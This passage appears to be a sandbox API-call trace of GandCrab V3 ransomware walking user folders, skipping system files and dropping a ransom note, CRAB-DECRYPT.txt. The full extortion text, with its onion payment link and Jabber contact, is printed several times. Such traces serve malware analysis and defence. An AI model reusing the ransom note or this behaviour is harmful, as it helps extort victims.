	[0135.469] lstrlenW (lpString="C:\\Users\\Default\\") returned 17
	[0135.469] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="*" | out: lpString1="C:\\Users\\Default\\*") returned="C:\\Users\\Default\\*"
	[0135.469] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\*", lpFindFileData=0x314e760 | out: lpFindFileData=0x314e760) returned 0x3248f30
	[0135.469] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0135.469] FindNextFileW (in: hFindFile=0x3248f30, lpFindFileData=0x314e760 | out: lpFindFileData=0x314e760) returned 1
	[0135.469] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0135.469] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0135.469] FindNextFileW (in: hFindFile=0x3248f30, lpFindFileData=0x314e760 | out: lpFindFileData=0x314e760) returned 1
	[0135.469] lstrcmpW (lpString1="AppData", lpString2=".") returned 1
	[0135.469] lstrcmpW (lpString1="AppData", lpString2="..") returned 1
	[0135.470] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="AppData" | out: lpString1="C:\\Users\\Default\\AppData") returned="C:\\Users\\Default\\AppData"
	[0135.470] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData", lpString2="\\" | out: lpString1="C:\\Users\\Default\\AppData\\") returned="C:\\Users\\Default\\AppData\\"
	[0135.470] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0135.470] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0135.470] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0135.470] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0135.470] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0135.470] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.470] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314d4b8, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0135.470] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0135.470] lstrcmpiW (lpString1="C:\\Users\\Default\\AppData\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned 1
	[0135.471] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314cca0, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0135.471] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0135.471] lstrcmpiW (lpString1="C:\\Users\\Default\\AppData\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0135.471] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0135.471] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\Default\\AppData\\\\CRAB-DECRYPT.txt") returned 42
	[0135.471] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\default\\appdata\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d4
	[0135.472] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0135.472] WriteFile (in: hFile=0x3d4, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314d49c, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314d49c*=0xcce, lpOverlapped=0x0) returned 1
	[0135.472] CloseHandle (hObject=0x3d4) returned 1
	[0135.472] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.473] lstrlenW (lpString="C:\\Users\\Default\\AppData\\") returned 25
	[0135.473] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\", lpString2="*" | out: lpString1="C:\\Users\\Default\\AppData\\*") returned="C:\\Users\\Default\\AppData\\*"
	[0135.473] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\*", lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 0x3248230
	[0135.473] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0135.473] FindNextFileW (in: hFindFile=0x3248230, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0135.473] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0135.473] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0135.473] FindNextFileW (in: hFindFile=0x3248230, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0135.473] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0135.473] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0135.473] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\Default\\AppData\\CRAB-DECRYPT.txt") returned="C:\\Users\\Default\\AppData\\CRAB-DECRYPT.txt"
	[0135.473] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0135.474] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\Default\\AppData\\CRAB-DECRYPT.txt") returned 41
	[0135.474] lstrlenW (lpString="C:\\Users\\Default\\AppData\\CRAB-DECRYPT.txt") returned 41
	[0135.474] lstrlenW (lpString=".txt") returned 4
	[0135.474] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0135.474] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0135.474] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.474] lstrlenW (lpString="C:\\Users\\Default\\AppData\\CRAB-DECRYPT.txt") returned 41
	[0135.474] lstrlenW (lpString="C:\\Users\\Default\\AppData\\CRAB-DECRYPT.txt") returned 41
	[0135.474] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0135.474] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0135.474] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0135.475] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0135.475] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0135.475] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0135.475] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0135.475] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0135.475] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0135.475] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.475] FindNextFileW (in: hFindFile=0x3248230, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0135.475] lstrcmpW (lpString1="Local", lpString2=".") returned 1
	[0135.475] lstrcmpW (lpString1="Local", lpString2="..") returned 1
	[0135.475] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\", lpString2="Local" | out: lpString1="C:\\Users\\Default\\AppData\\Local") returned="C:\\Users\\Default\\AppData\\Local"
	[0135.475] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local", lpString2="\\" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\") returned="C:\\Users\\Default\\AppData\\Local\\"
	[0135.475] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0135.477] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0135.477] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0135.477] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0135.477] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0135.477] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.477] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314ca10, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0135.477] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0135.477] lstrcmpiW (lpString1="C:\\Users\\Default\\AppData\\Local\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned 1
	[0135.477] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314c1f8, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0135.477] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0135.477] lstrcmpiW (lpString1="C:\\Users\\Default\\AppData\\Local\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0135.477] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0135.478] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\Default\\AppData\\Local\\\\CRAB-DECRYPT.txt") returned 48
	[0135.478] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\default\\appdata\\local\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e8
	[0135.479] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0135.479] WriteFile (in: hFile=0x3e8, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314c9f4, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314c9f4*=0xcce, lpOverlapped=0x0) returned 1
	[0135.479] CloseHandle (hObject=0x3e8) returned 1
	[0135.480] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.480] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\") returned 31
	[0135.480] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\", lpString2="*" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\*") returned="C:\\Users\\Default\\AppData\\Local\\*"
	[0135.480] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\*", lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 0x3248270
	[0135.480] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0135.480] FindNextFileW (in: hFindFile=0x3248270, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0135.481] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0135.481] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0135.481] FindNextFileW (in: hFindFile=0x3248270, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0135.481] lstrcmpW (lpString1="Application Data", lpString2=".") returned 1
	[0135.481] lstrcmpW (lpString1="Application Data", lpString2="..") returned 1
	[0135.481] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\", lpString2="Application Data" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Application Data") returned="C:\\Users\\Default\\AppData\\Local\\Application Data"
	[0135.481] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Application Data", lpString2="\\" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Application Data\\") returned="C:\\Users\\Default\\AppData\\Local\\Application Data\\"
	[0135.481] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0135.481] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0135.481] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0135.481] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0135.481] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0135.481] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.482] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314bf68, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0135.482] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0135.482] lstrcmpiW (lpString1="C:\\Users\\Default\\AppData\\Local\\Application Data\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned 1
	[0135.482] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314b750, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0135.482] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0135.482] lstrcmpiW (lpString1="C:\\Users\\Default\\AppData\\Local\\Application Data\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0135.482] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0135.482] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\Default\\AppData\\Local\\Application Data\\\\CRAB-DECRYPT.txt") returned 65
	[0135.482] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Application Data\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\default\\appdata\\local\\application data\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0135.483] GetLastError () returned 0x50
	[0135.483] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.483] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Application Data\\") returned 48
	[0135.483] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Application Data\\", lpString2="*" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Application Data\\*") returned="C:\\Users\\Default\\AppData\\Local\\Application Data\\*"
	[0135.483] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Application Data\\*", lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 0xffffffff
	[0135.483] FindNextFileW (in: hFindFile=0x3248270, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0135.483] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0135.483] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0135.483] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\CRAB-DECRYPT.txt") returned="C:\\Users\\Default\\AppData\\Local\\CRAB-DECRYPT.txt"
	[0135.483] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0135.484] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\Default\\AppData\\Local\\CRAB-DECRYPT.txt") returned 47
	[0135.484] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\CRAB-DECRYPT.txt") returned 47
	[0135.484] lstrlenW (lpString=".txt") returned 4
	[0135.484] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0135.484] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0135.484] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.484] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\CRAB-DECRYPT.txt") returned 47
	[0135.484] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\CRAB-DECRYPT.txt") returned 47
	[0135.485] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0135.485] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0135.485] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0135.485] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0135.485] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0135.485] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0135.485] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0135.485] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0135.485] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0135.485] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.485] FindNextFileW (in: hFindFile=0x3248270, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0135.485] lstrcmpW (lpString1="History", lpString2=".") returned 1
	[0135.485] lstrcmpW (lpString1="History", lpString2="..") returned 1
	[0135.485] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\", lpString2="History" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\History") returned="C:\\Users\\Default\\AppData\\Local\\History"
	[0135.485] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\History", lpString2="\\" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\History\\") returned="C:\\Users\\Default\\AppData\\Local\\History\\"
	[0135.485] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0135.486] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0135.486] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0135.486] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0135.486] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0135.486] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.486] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314bf68, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0135.486] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0135.486] lstrcmpiW (lpString1="C:\\Users\\Default\\AppData\\Local\\History\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned 1
	[0135.486] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314b750, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0135.486] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0135.486] lstrcmpiW (lpString1="C:\\Users\\Default\\AppData\\Local\\History\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0135.486] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0135.487] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\Default\\AppData\\Local\\History\\\\CRAB-DECRYPT.txt") returned 56
	[0135.487] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\History\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\default\\appdata\\local\\history\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ec
	[0135.489] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0135.489] WriteFile (in: hFile=0x3ec, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314bf4c, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314bf4c*=0xcce, lpOverlapped=0x0) returned 1
	[0135.490] CloseHandle (hObject=0x3ec) returned 1
	[0135.490] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.490] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\History\\") returned 39
	[0135.490] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\History\\", lpString2="*" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\History\\*") returned="C:\\Users\\Default\\AppData\\Local\\History\\*"
	[0135.490] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\History\\*", lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 0xffffffff
	[0135.490] FindNextFileW (in: hFindFile=0x3248270, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0135.490] lstrcmpW (lpString1="Microsoft", lpString2=".") returned 1
	[0135.490] lstrcmpW (lpString1="Microsoft", lpString2="..") returned 1
	[0135.490] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\", lpString2="Microsoft" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft"
	[0135.491] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft", lpString2="\\" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\"
	[0135.491] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0135.491] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0135.491] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0135.491] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
